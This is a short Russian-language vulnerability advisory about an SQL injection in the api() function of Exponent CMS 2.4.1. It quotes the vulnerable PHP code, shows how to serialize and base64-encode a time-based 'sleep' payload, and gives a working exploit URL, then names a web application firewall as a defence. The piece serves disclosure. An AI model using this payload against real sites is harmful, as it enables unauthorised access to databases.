В популярной, среди веб-дизайнеров, CMS Exponent 2.4.1 была обнаружена опасная SQL инъекция в функции стороннего модуля API.

Exponent CMS — система управления сайтами (CMS/CMF) с открытым исходным кодом и свободной лицензией. Пользуется огромной популярностью среди веб-дизайнеров и веб-разработчиков за такие качества как:
- Прозрачность взаимодействия продукта с конечным пользователем без технических навыков;
- Исчерпывающее руководство пользователя;
- Модульная архитектура системы;
- Удобная работа с контентом и т.д.

Пример кода:

public function api() {
		if  (empty($this->params['apikey'])) {
		    $_REQUEST['apikey'] =  true;  // set this to force an ajax reply
		    $ar = new  expAjaxReply(550, 'Permission Denied', 'You need an API key in order to access  Exponent as a Service', null);
		    $ar->send();  //FIXME this  doesn't seem to work correctly in this scenario
		} else 
                {
		    echo $this->params['apikey'];
		    $key  =  expUnserialize(base64_decode(urldecode($this->params['apikey'])));
		     echo $key;
                }

Уязвимым местом этого кода является функция api(). Мы можем контролировать параметр $apikey путём использования функций 'base64_encode' и 'serialize' для расшифровки строки с SQL инъекцией. Параметр $apikey расшифруется и выполнится SQL запрос.

Если мы хотим исполнить payload "aaa\' or sleep(2)#", мы должны использовать "echo base64_encode(serialize($apikey));" для расшифровки атакуещей строки: результат будет "czoxNjoiYWFhJ29yIHNsZWVwKDIpIyI7"(base64). Вставляем эту строку в URL параметр "$apikey=".

Пример эксплуатации:

 http://example.com/exponent/index.php?module=eaas&action=api&apikey=czoxNjoiYWFhJ29yIHNsZWVwKDIpIyI7

После выполнения этой команды сайт "заснёт" на несколько секунд.

Использование Web Application Firewall позволяет блокировать подобные атаки.